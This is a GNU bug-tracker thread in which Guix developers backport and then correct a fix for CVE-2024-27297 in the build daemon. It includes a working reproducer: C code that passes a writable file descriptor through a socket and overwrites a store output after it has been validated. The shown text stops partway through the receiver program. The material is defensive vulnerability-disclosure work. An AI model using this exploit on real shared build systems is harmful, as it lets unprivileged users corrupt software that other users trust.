| Package | Source(s) | Maintainer(s) | |
|---|---|---|---|
| guix-patches | PTS Buildd Popcon |
Report forwarded
to guix-patches@gnu.org:
bug#69728; Package guix-patches.
(Mon, 11 Mar 2024 10:55:02 GMT) (full text, mbox, link).
Acknowledgement sent
to Ludovic Courtès <ludo@gnu.org>:
New bug report received and forwarded. Copy sent to guix-patches@gnu.org.
(Mon, 11 Mar 2024 10:55:02 GMT) (full text, mbox, link).
Message #5 received at submit@debbugs.gnu.org (full text, mbox, reply):
This fixes a security issue (CVE-2024-27297) whereby a fixed-output
derivation build process could open a writable file descriptor to its
output, send it to some outside process for instance over an abstract
AF_UNIX socket, which would then allow said process to modify the file
in the store after it has been marked as “valid”.
Nix security advisory:
https://github.com/NixOS/nix/security/advisories/GHSA-2ffj-w4mj-pg37
* nix/libutil/util.cc (readDirectory): Add variants that take a DIR* and
a file descriptor. Rewrite the ‘Path’ variant accordingly.
(copyFile, copyFileRecursively): New functions.
* nix/libutil/util.hh (copyFileRecursively): New declaration.
* nix/libstore/build.cc (DerivationGoal::buildDone): When ‘fixedOutput’
is true, call ‘copyFileRecursively’ followed by ‘rename’ on each output.
Change-Id: I7952d41093eed26e123e38c14a4c1424be1ce1c4
Reported-by: Picnoir <picnoir@alternativebit.fr>, Théophane Hufschmitt <theophane.hufschmitt@tweag.io>
Change-Id: Idb5f2757f35af86b032a9851cecb19b70227bd88
---
nix/libstore/build.cc | 16 ++++++
nix/libutil/util.cc | 112 ++++++++++++++++++++++++++++++++++++++++--
nix/libutil/util.hh | 6 +++
3 files changed, 129 insertions(+), 5 deletions(-)
Hello,
On Friday, March 8th, fellow Nix developers Picnoir and Théophane
Hufschmitt contacted the Guix security team to let us know about
a security vulnerability in the Nix daemon they had just found and
addressed in Nix:
advisory: https://github.com/NixOS/nix/security/advisories/GHSA-2ffj-w4mj-pg37
PoC: https://hackmd.io/03UGerewRcy3db44JQoWvw
fix: https://github.com/NixOS/nix/commit/244f3eee0bbc7f11e9b383a15ed7368e2c4becc9
By sending a file descriptor to another process on the same machine, a
fixed-output derivation build process could give write access to a store
item to an unprivileged process, effectively giving an unprivileged user
the ability to corrupt that store item.
The fix implemented by Nix hackers is nice and simple: upon build
completion, the output is copied to a new location and deleted, such
that any file descriptors that might have been shared now point to
unlinked files. (The PoC above looks at various other ways to fix the
problem, and this one is by far the simplest.)
The patch below “backports” the Nix fix to our daemon. I ended up
having to implement my own ‘copyFileRecursively’ function, which is
not great (recent versions of Nix use C++17 ‘std::filesystem’ but we’re
stuck on C++11 and making the switch didn’t feel appealing either.)
I tested the patch locally with things like:
strace -o log.strace -f ./test-env guix build -S guile-ssh
strace -o log.strace -f ./test-env guix build -S guile-ssh --check
strace -o log.strace -f ./test-env guix build -S hello
… looking at the strace output to make sure things were happening as
expected. Also, “make check” passes.
We’d like to push it probably today, but we’d very much like to get
more eyeballs on this code!
Thanks again to Picnoir and Théophane!
Ludo’.
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 461fcbc584..e2adee118b 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -1382,6 +1382,22 @@ void DerivationGoal::buildDone()
% drvPath % statusToString(status));
}
+ if (fixedOutput) {
+ /* Replace the output, if it exists, by a fresh copy of itself to
+ make sure that there's no stale file descriptor pointing to it
+ (CVE-2024-27297). */
+ foreach (DerivationOutputs::iterator, i, drv.outputs) {
+ if (pathExists(i->second.path)) {
+ Path pivot = i->second.path + ".tmp";
+ copyFileRecursively(i->second.path, pivot, true);
+ int err = rename(pivot.c_str(), i->second.path.c_str());
+ if (err != 0)
+ throw SysError(format("renaming `%1%' to `%2%'")
+ % pivot % i->second.path);
+ }
+ }
+ }
+
/* Compute the FS closure of the outputs and register them as
being valid. */
registerOutputs();
diff --git a/nix/libutil/util.cc b/nix/libutil/util.cc
index 82eac72120..493f06f357 100644
--- a/nix/libutil/util.cc
+++ b/nix/libutil/util.cc
@@ -215,14 +215,11 @@ bool isLink(const Path & path)
}
-DirEntries readDirectory(const Path & path)
+static DirEntries readDirectory(DIR *dir)
{
DirEntries entries;
entries.reserve(64);
- AutoCloseDir dir = opendir(path.c_str());
- if (!dir) throw SysError(format("opening directory `%1%'") % path);
-
struct dirent * dirent;
while (errno = 0, dirent = readdir(dir)) { /* sic */
checkInterrupt();
@@ -230,11 +227,29 @@ DirEntries readDirectory(const Path & path)
if (name == "." || name == "..") continue;
entries.emplace_back(name, dirent->d_ino, dirent->d_type);
}
- if (errno) throw SysError(format("reading directory `%1%'") % path);
+ if (errno) throw SysError(format("reading directory"));
return entries;
}
+DirEntries readDirectory(const Path & path)
+{
+ AutoCloseDir dir = opendir(path.c_str());
+ if (!dir) throw SysError(format("opening directory `%1%'") % path);
+ return readDirectory(dir);
+}
+
+static DirEntries readDirectory(int fd)
+{
+ /* Since 'closedir' closes the underlying file descriptor, duplicate FD
+ beforehand. */
+ int fdcopy = dup(fd);
+ if (fdcopy < 0) throw SysError("dup");
+
+ AutoCloseDir dir = fdopendir(fdcopy);
+ if (!dir) throw SysError(format("opening directory from file descriptor `%1%'") % fd);
+ return readDirectory(dir);
+}
unsigned char getFileType(const Path & path)
{
@@ -364,6 +379,93 @@ void deletePath(const Path & path, unsigned long long & bytesFreed, size_t linkT
_deletePath(path, bytesFreed, linkThreshold);
}
+static void copyFile(int sourceFd, int destinationFd)
+{
+ struct stat st;
+ if (fstat(sourceFd, &st) == -1) throw SysError("statting file");
+
+ ssize_t result = copy_file_range(sourceFd, NULL, destinationFd, NULL, st.st_size, 0);
+ if (result < 0 && errno == ENOSYS) {
+ for (size_t remaining = st.st_size; remaining > 0; ) {
+ unsigned char buf[8192];
+ size_t count = std::min(remaining, sizeof buf);
+
+ readFull(sourceFd, buf, count);
+ writeFull(destinationFd, buf, count);
+ remaining -= count;
+ }
+ } else {
+ if (result < 0)
+ throw SysError(format("copy_file_range `%1%' to `%2%'") % sourceFd % destinationFd);
+ if (result < st.st_size)
+ throw SysError(format("short write in copy_file_range `%1%' to `%2%'")
+ % sourceFd % destinationFd);
+ }
+}
+
+static void copyFileRecursively(int sourceroot, const Path &source,
+ int destinationroot, const Path &destination,
+ bool deleteSource)
+{
+ struct stat st;
+ if (fstatat(sourceroot, source.c_str(), &st, AT_SYMLINK_NOFOLLOW) == -1)
+ throw SysError(format("statting file `%1%'") % source);
+
+ if (S_ISREG(st.st_mode)) {
+ AutoCloseFD sourceFd = openat(sourceroot, source.c_str(),
+ O_CLOEXEC | O_NOFOLLOW | O_RDONLY);
+ if (sourceFd == -1) throw SysError(format("opening `%1%'") % source);
+
+ AutoCloseFD destinationFd = openat(destinationroot, destination.c_str(),
+ O_CLOEXEC | O_CREAT | O_WRONLY | O_TRUNC,
+ st.st_mode);
+ if (destinationFd == -1) throw SysError(format("opening `%1%'") % source);
+
+ copyFile(sourceFd, destinationFd);
+ } else if (S_ISLNK(st.st_mode)) {
+ char target[st.st_size + 1];
+ ssize_t result = readlinkat(sourceroot, source.c_str(), target, st.st_size);
+ if (result != st.st_size) throw SysError("reading symlink target");
+ target[st.st_size] = '\0';
+ int err = symlinkat(target, destinationroot, destination.c_str());
+ if (err != 0)
+ throw SysError(format("creating symlink `%1%'") % destination);
+ } else if (S_ISDIR(st.st_mode)) {
+ int err = mkdirat(destinationroot, destination.c_str(), 0755);
+ if (err != 0)
+ throw SysError(format("creating directory `%1%'") % destination);
+
+ AutoCloseFD destinationFd = openat(destinationroot, destination.c_str(),
+ O_CLOEXEC | O_RDONLY | O_DIRECTORY);
+ if (err != 0)
+ throw SysError(format("opening directory `%1%'") % destination);
+
+ AutoCloseFD sourceFd = openat(sourceroot, source.c_str(),
+ O_CLOEXEC | O_NOFOLLOW | O_RDONLY);
+ if (sourceFd == -1)
+ throw SysError(format("opening `%1%'") % source);
+
+ if (deleteSource && !(st.st_mode & S_IWUSR)) {
+ /* Ensure the directory writable so files within it can be
+ deleted. */
+ if (fchmod(sourceFd, st.st_mode | S_IWUSR) == -1)
+ throw SysError(format("making `%1%' directory writable") % source);
+ }
+
+ for (auto & i : readDirectory(sourceFd))
+ copyFileRecursively((int)sourceFd, i.name, (int)destinationFd, i.name,
+ deleteSource);
+ } else throw Error(format("refusing to copy irregular file `%1%'") % source);
+
+ if (deleteSource)
+ unlinkat(sourceroot, source.c_str(),
+ S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0);
+}
+
+void copyFileRecursively(const Path &source, const Path &destination, bool deleteSource)
+{
+ copyFileRecursively(AT_FDCWD, source, AT_FDCWD, destination, deleteSource);
+}
static Path tempName(Path tmpRoot, const Path & prefix, bool includePid,
int & counter)
diff --git a/nix/libutil/util.hh b/nix/libutil/util.hh
index 880b0e93b2..058f5f8446 100644
--- a/nix/libutil/util.hh
+++ b/nix/libutil/util.hh
@@ -102,6 +102,12 @@ void deletePath(const Path & path);
void deletePath(const Path & path, unsigned long long & bytesFreed,
size_t linkThreshold = 1);
+/* Copy SOURCE to DESTINATION, recursively. Throw if SOURCE contains a file
+ that is not a regular file, symlink, or directory. When DELETESOURCE is
+ true, delete source files once they have been copied. */
+void copyFileRecursively(const Path &source, const Path &destination,
+ bool deleteSource = false);
+
/* Create a temporary directory. */
Path createTempDir(const Path & tmpRoot = "", const Path & prefix = "nix",
bool includePid = true, bool useGlobalCounter = true, mode_t mode = 0755);
base-commit: c7836393be4d134861d652b2fcf09cf4e68275ca
--
2.41.0
Added tag(s) security.
Request was from Ludovic Courtès <ludo@gnu.org>
to control@debbugs.gnu.org.
(Mon, 11 Mar 2024 15:05:02 GMT) (full text, mbox, link).
Information forwarded
to guix-patches@gnu.org:
bug#69728; Package guix-patches.
(Mon, 11 Mar 2024 22:18:02 GMT) (full text, mbox, link).
Message #10 received at 69728@debbugs.gnu.org (full text, mbox, reply):
Ludovic Courtès <ludo@gnu.org> skribis: > This fixes a security issue (CVE-2024-27297) whereby a fixed-output > derivation build process could open a writable file descriptor to its > output, send it to some outside process for instance over an abstract > AF_UNIX socket, which would then allow said process to modify the file > in the store after it has been marked as “valid”. > > Nix security advisory: > https://github.com/NixOS/nix/security/advisories/GHSA-2ffj-w4mj-pg37 > > * nix/libutil/util.cc (readDirectory): Add variants that take a DIR* and > a file descriptor. Rewrite the ‘Path’ variant accordingly. > (copyFile, copyFileRecursively): New functions. > * nix/libutil/util.hh (copyFileRecursively): New declaration. > * nix/libstore/build.cc (DerivationGoal::buildDone): When ‘fixedOutput’ > is true, call ‘copyFileRecursively’ followed by ‘rename’ on each output. > > Change-Id: I7952d41093eed26e123e38c14a4c1424be1ce1c4 > > Reported-by: Picnoir <picnoir@alternativebit.fr>, Théophane Hufschmitt <theophane.hufschmitt@tweag.io> > Change-Id: Idb5f2757f35af86b032a9851cecb19b70227bd88 > --- > nix/libstore/build.cc | 16 ++++++ > nix/libutil/util.cc | 112 ++++++++++++++++++++++++++++++++++++++++-- > nix/libutil/util.hh | 6 +++ > 3 files changed, 129 insertions(+), 5 deletions(-) Pushed (with a slightly different commit message) as 8f4ffb3fae133bb21d7991e97c2f19a7108b1143. Updated the ‘guix’ package in b8954a7faeccae11c32add7cd0f408d139af3a43: Guix System users can now reconfigure! Added a news entry in 4003c60abf7a6e59e47cc2deb9eef2f104ebb994. Ludo’.
Information forwarded
to guix-patches@gnu.org:
bug#69728; Package guix-patches.
(Tue, 12 Mar 2024 00:45:02 GMT) (full text, mbox, link).
Message #13 received at 69728@debbugs.gnu.org (full text, mbox, reply):
[Message part 1 (text/plain, inline)]
Hi all, On Mon, Mar 11, 2024 at 11:16 PM, Ludovic Courtès wrote: > Ludovic Courtès <ludo@gnu.org> skribis: > >> This fixes a security issue (CVE-2024-27297) whereby a fixed-output >> derivation build process could open a writable file descriptor to its >> output, send it to some outside process for instance over an abstract >> AF_UNIX socket, which would then allow said process to modify the file >> in the store after it has been marked as “valid”. >> >> Nix security advisory: >> <https://github.com/NixOS/nix/security/advisories/GHSA-2ffj-w4mj-pg37> >> >> * nix/libutil/util.cc (readDirectory): Add variants that take a DIR* and >> a file descriptor. Rewrite the ‘Path’ variant accordingly. >> (copyFile, copyFileRecursively): New functions. >> * nix/libutil/util.hh (copyFileRecursively): New declaration. >> * nix/libstore/build.cc (DerivationGoal::buildDone): When ‘fixedOutput’ >> is true, call ‘copyFileRecursively’ followed by ‘rename’ on each output. >> >> Change-Id: I7952d41093eed26e123e38c14a4c1424be1ce1c4 >> >> Reported-by: Picnoir <picnoir@alternativebit.fr>, Théophane >> Hufschmitt <theophane.hufschmitt@tweag.io> >> Change-Id: Idb5f2757f35af86b032a9851cecb19b70227bd88 >> --- >> nix/libstore/build.cc | 16 ++++++ >> nix/libutil/util.cc | 112 ++++++++++++++++++++++++++++++++++++++++-- >> nix/libutil/util.hh | 6 +++ >> 3 files changed, 129 insertions(+), 5 deletions(-) > > Pushed (with a slightly different commit message) as > 8f4ffb3fae133bb21d7991e97c2f19a7108b1143. > > Updated the ‘guix’ package in b8954a7faeccae11c32add7cd0f408d139af3a43: > Guix System users can now reconfigure! > > Added a news entry in 4003c60abf7a6e59e47cc2deb9eef2f104ebb994. > > Ludo’. Many thanks for the quick fix, deployment, and news entry! I've attached a draft of a blog post to add some information and further alert users. Please give it a read and feel free to make any changes or corrections. Especially if I misunderstood or glossed too quickly over any technical aspects, though I kept it light. And, if all looks good, feel free to take whatever steps to post this to the website. Two minor questions/comments: 1. I made a note that presumably there is some performance penalty for copying everything, probably for derivations with many files. But I haven't tested this, just picked up on this from what was said on the Nix side as a potential impact. 2. Is picnoir the same as Félix Baylac Jacqué? I wasn't sure based on emails; fine to change to whatever they want for credit for reporting this to us. Based on what was posted on the Nix side, it seems jade and puckipedia are the original finders/reporters of the security issue. But feel free to correct me. Thanks everyone! John
[cve-2024-27297-post.md (application/octet-stream, attachment)]
Information forwarded
to guix-patches@gnu.org:
bug#69728; Package guix-patches.
(Tue, 12 Mar 2024 13:32:02 GMT) (full text, mbox, link).
Message #16 received at 69728@debbugs.gnu.org (full text, mbox, reply):
[Message part 1 (text/plain, inline)]
Hello, Ludovic Courtès <ludo@gnu.org> skribis: > Pushed (with a slightly different commit message) as > 8f4ffb3fae133bb21d7991e97c2f19a7108b1143. > > Updated the ‘guix’ package in b8954a7faeccae11c32add7cd0f408d139af3a43: > Guix System users can now reconfigure! > > Added a news entry in 4003c60abf7a6e59e47cc2deb9eef2f104ebb994. It turns out that the previous fix was incomplete due to a mistake of mine. I pushed ff1251de0bc327ec478fc66a562430fbf35aef42 to address that (patch attached for clarity). Commit 30a8de0bcdadfb55cbcaa34760527c1b767808c7 updates the ‘guix’ package again. Now is the time to reconfigure. I’ll send a reproducer in a separate message. Apologies for the mishap. Ludo’.
[Message part 2 (text/x-patch, inline)]
commit ff1251de0bc327ec478fc66a562430fbf35aef42
Author: Ludovic Courtès <ludo@gnu.org>
Date: Tue Mar 12 11:53:35 2024 +0100
daemon: Address shortcoming in previous security fix for CVE-2024-27297.
This is a followup to 8f4ffb3fae133bb21d7991e97c2f19a7108b1143.
Commit 8f4ffb3fae133bb21d7991e97c2f19a7108b1143 fell short in two
ways: (1) it didn’t have any effet for fixed-output derivations
performed in a chroot, which is the case for all of them except those
using “builtin:download” and “builtin:git-download”, and (2) it did not
preserve ownership when copying, leading to “suspicious ownership or
permission […] rejecting this build output” errors.
* nix/libstore/build.cc (DerivationGoal::buildDone): Account for
‘chrootRootDir’ when copying ‘drv.outputs’.
* nix/libutil/util.cc (copyFileRecursively): Add ‘fchown’ and ‘fchownat’
calls to preserve file ownership; this is necessary for chrooted
fixed-output derivation builds.
* nix/libutil/util.hh: Update comment.
Change-Id: Ib59f040e98fed59d1af81d724b874b592cbef156
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index e2adee118b..d23c0944a4 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -1387,13 +1387,14 @@ void DerivationGoal::buildDone()
make sure that there's no stale file descriptor pointing to it
(CVE-2024-27297). */
foreach (DerivationOutputs::iterator, i, drv.outputs) {
- if (pathExists(i->second.path)) {
- Path pivot = i->second.path + ".tmp";
- copyFileRecursively(i->second.path, pivot, true);
- int err = rename(pivot.c_str(), i->second.path.c_str());
+ Path output = chrootRootDir + i->second.path;
+ if (pathExists(output)) {
+ Path pivot = output + ".tmp";
+ copyFileRecursively(output, pivot, true);
+ int err = rename(pivot.c_str(), output.c_str());
if (err != 0)
throw SysError(format("renaming `%1%' to `%2%'")
- % pivot % i->second.path);
+ % pivot % output);
}
}
}
diff --git a/nix/libutil/util.cc b/nix/libutil/util.cc
index 493f06f357..578d657293 100644
--- a/nix/libutil/util.cc
+++ b/nix/libutil/util.cc
@@ -422,6 +422,7 @@ static void copyFileRecursively(int sourceroot, const Path &source,
if (destinationFd == -1) throw SysError(format("opening `%1%'") % source);
copyFile(sourceFd, destinationFd);
+ fchown(destinationFd, st.st_uid, st.st_gid);
} else if (S_ISLNK(st.st_mode)) {
char target[st.st_size + 1];
ssize_t result = readlinkat(sourceroot, source.c_str(), target, st.st_size);
@@ -430,6 +431,8 @@ static void copyFileRecursively(int sourceroot, const Path &source,
int err = symlinkat(target, destinationroot, destination.c_str());
if (err != 0)
throw SysError(format("creating symlink `%1%'") % destination);
+ fchownat(destinationroot, destination.c_str(),
+ st.st_uid, st.st_gid, AT_SYMLINK_NOFOLLOW);
} else if (S_ISDIR(st.st_mode)) {
int err = mkdirat(destinationroot, destination.c_str(), 0755);
if (err != 0)
@@ -455,6 +458,7 @@ static void copyFileRecursively(int sourceroot, const Path &source,
for (auto & i : readDirectory(sourceFd))
copyFileRecursively((int)sourceFd, i.name, (int)destinationFd, i.name,
deleteSource);
+ fchown(destinationFd, st.st_uid, st.st_gid);
} else throw Error(format("refusing to copy irregular file `%1%'") % source);
if (deleteSource)
diff --git a/nix/libutil/util.hh b/nix/libutil/util.hh
index 058f5f8446..377aac0684 100644
--- a/nix/libutil/util.hh
+++ b/nix/libutil/util.hh
@@ -102,9 +102,10 @@ void deletePath(const Path & path);
void deletePath(const Path & path, unsigned long long & bytesFreed,
size_t linkThreshold = 1);
-/* Copy SOURCE to DESTINATION, recursively. Throw if SOURCE contains a file
- that is not a regular file, symlink, or directory. When DELETESOURCE is
- true, delete source files once they have been copied. */
+/* Copy SOURCE to DESTINATION, recursively, preserving ownership. Throw if
+ SOURCE contains a file that is not a regular file, symlink, or directory.
+ When DELETESOURCE is true, delete source files once they have been
+ copied. */
void copyFileRecursively(const Path &source, const Path &destination,
bool deleteSource = false);
Information forwarded
to guix-patches@gnu.org:
bug#69728; Package guix-patches.
(Tue, 12 Mar 2024 13:47:02 GMT) (full text, mbox, link).
Message #19 received at 69728@debbugs.gnu.org (full text, mbox, reply):
[Message part 1 (text/plain, inline)]
As promised, attached is a reproducer that I adapted from the Nix one at <https://hackmd.io/03UGerewRcy3db44JQoWvw>, which I think was written by puck <https://github.com/puckipedia>. The program demonstrates the vulnerability using two fixed-output derivations that must be built concurrently on the same machine. To do that, run: guix build -f fixed-output-derivation-corruption.scm -M4 Normally, you’ll find yourself building “derivation-that-exfiltrates-fd.drv” and “derivation-that-grabs-fd.drv” in parallel; the former will send a file descriptor to the latter using a C program, and the latter will use that file descriptor to modify the contents of /gnu/store/…-derivation-that-exfiltrates-fd after it has completed. On a safe system, the ‘guix build’ command succeeds like this: --8<---------------cut here---------------start------------->8--- $ guix build -f fixed-output-derivation-corruption.scm -M4 /home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host /home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host substitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0% substitute: updating substitutes from 'https://bordeaux.guix.gnu.org'... 100.0% The following derivations will be built: /gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for-vulnerability.drv /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv /gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-that-exfiltrates-fd-65f05a81-17185.drv building /gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-that-exfiltrates-fd-65f05a81-17185.drv... building /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv... accepting connections... attempting connection... preparing our hand... successfully built /gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-that-exfiltrates-fd-65f05a81-17185.drv The following build is still in progress: /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv swaptrick finished, now to wait.. successfully built /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv building /gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for-vulnerability.drv... This depends on /gnu/store/b03pq9ns0y7l12c08wy9jc8lbmkmy33j-derivation-that-grabs-fd-65f05a81-17185, which will grab the file descriptor and corrupt /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivation-that-exfiltrates-fd-65f05a81-17185. Here is what we see in /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivation-that-exfiltrates-fd-65f05a81-17185: "This is the original text, before corruption." Failed to corrupt /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivation-that-exfiltrates-fd-65f05a81-17185, your system is safe. successfully built /gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for-vulnerability.drv /gnu/store/5xsvwbld5c5zxi075j45sfnvsx9f658v-checking-for-vulnerability --8<---------------cut here---------------end--------------->8--- On a system that is still vulnerable, we get this instead: --8<---------------cut here---------------start------------->8--- $ guix build -f fixed-output-derivation-corruption.scm -M4 /home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host /home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host substitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0% substitute: updating substitutes from 'https://bordeaux.guix.gnu.org'... 100.0% substitute: updating substitutes from 'https://guix.bordeaux.inria.fr'... 100.0% The following derivations will be built: /gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv /gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-that-exfiltrates-fd-65f05aca-17261.drv /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv building /gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-that-exfiltrates-fd-65f05aca-17261.drv... building /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv... accepting connections... attempting connection... preparing our hand... successfully built /gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-that-exfiltrates-fd-65f05aca-17261.drv The following build is still in progress: /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv swaptrick finished, now to wait.. successfully built /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv building /gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv... This depends on /gnu/store/iqggpsrj9i0ydpqpb98iszx1vnbkgr19-derivation-that-grabs-fd-65f05aca-17261, which will grab the file descriptor and corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261. Here is what we see in /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261: "This file has been corrupted!\n" We managed to corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261, meaning that YOUR SYSTEM IS VULNERABLE! builder for `/gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv' failed with exit code 1 build of /gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv failed View build log at '/var/log/guix/drvs/gp/h10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv.gz'. guix build: error: build of `/gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv' failed --8<---------------cut here---------------end--------------->8--- At this point, /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261 is corrupt: --8<---------------cut here---------------start------------->8--- $ cat /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261 This file has been corrupted! --8<---------------cut here---------------end--------------->8--- You can remove those corrupt test files by running: guix gc -D /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd* You can find corrupt files in your store by running: guix gc --verify=contents This is expensive because it reads every single file under /gnu/store and check the hash of each store item against that recorded in /var/guix/db/db.sqlite. It should flag all the /gnu/store/…-derivation-that-exfiltrates-fd* outputs. Ludo’.
[fixed-output-derivation-corruption.scm (text/plain, inline)]
;; Checking for CVE-2024-27297.
;; Adapted from <https://hackmd.io/03UGerewRcy3db44JQoWvw>.
(use-modules (guix)
(guix modules)
(guix profiles)
(gnu packages)
(gnu packages gnupg)
(gcrypt hash)
((rnrs bytevectors) #:select (string->utf8)))
(define (compiled-c-code name source)
(define build-profile
(profile (content (specifications->manifest '("gcc-toolchain")))))
(define build
(with-extensions (list guile-gcrypt)
(with-imported-modules (source-module-closure '((guix build utils)
(guix profiles)))
#~(begin
(use-modules (guix build utils)
(guix profiles))
(load-profile #+build-profile)
(system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output)))))
(computed-file name build))
(define sender-source
(plain-file "sender.c" "
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IOLBF, 0);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Set up an abstract domain socket path to connect to.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, \"dihutenosa\");
// Now try to connect, To ensure we work no matter what order we are
// executed in, just busyloop here.
int res = -1;
while (res < 0) {
printf(\"attempting connection...\\n\");
res = connect(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(\"dihutenosa\")
+ 1);
if (res < 0 && errno != ECONNREFUSED) perror(\"connect\");
if (errno != ECONNREFUSED) break;
usleep(500000);
}
// Write our message header.
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Write an SCM_RIGHTS message containing the output path.
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
hdr->cmsg_len = CMSG_LEN(sizeof(int));
hdr->cmsg_level = SOL_SOCKET;
hdr->cmsg_type = SCM_RIGHTS;
int fd = open(getenv(\"out\"), O_RDWR | O_CREAT, 0640);
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
msg.msg_controllen = CMSG_SPACE(sizeof(int));
// Write a single null byte too.
msg.msg_iov = malloc(sizeof(struct iovec));
msg.msg_iov[0].iov_base = \"\";
msg.msg_iov[0].iov_len = 1;
msg.msg_iovlen = 1;
// Send it to the othher side of this connection.
res = sendmsg(sock, &msg, 0);
if (res < 0) perror(\"sendmsg\");
int buf;
// Wait for the server to close the socket, implying that it has
// received the commmand.
recv(sock, (void *)&buf, sizeof(int), 0);
}"))
(define receiver-source
(mixed-text-file "receiver.c" "
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/inotify.h>
int main(int argc, char **argv) {
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Bind to the socket.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, \"dihutenosa\");
int res = bind(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(\"dihutenosa\")
+ 1);
if (res < 0) perror(\"bind\");
res = listen(sock, 1);
if (res < 0) perror(\"listen\");
while (1) {
setvbuf(stdout, NULL, _IOLBF, 0);
printf(\"accepting connections...\\n\");
int a = accept(sock, 0, 0);
if (a < 0) perror(\"accept\");
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Receive the file descriptor as sent by the smuggler.
recvmsg(a, &msg, 0);
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
while (hdr) {
if (hdr->cmsg_level == SOL_SOCKET
&& hdr->cmsg_type == SCM_RIGHTS) {
int res;
// Grab the copy of the file descriptor.
memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int));
printf(\"preparing our hand...\\n\");
ftruncate(res, 0);
// Write the expected contents to the file, tricking Nix
// into accepting it as matching the fixed-output hash.
write(res, \"hello, world\\n\", strlen(\"hello, world\\n\"));
// But wait, the file is bigger than this! What could
// this code hide?
// First, we do a bit of a hack to get a path for the
// file descriptor we received. This is necessary because
// that file doesn't exist in our mount namespace!
char buf[128];
sprintf(buf, \"/proc/self/fd/%d\", res);
// Hook up an inotify on that file, so whenever Nix
// closes the file, we get notified.
int inot = inotify_init();
inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE);
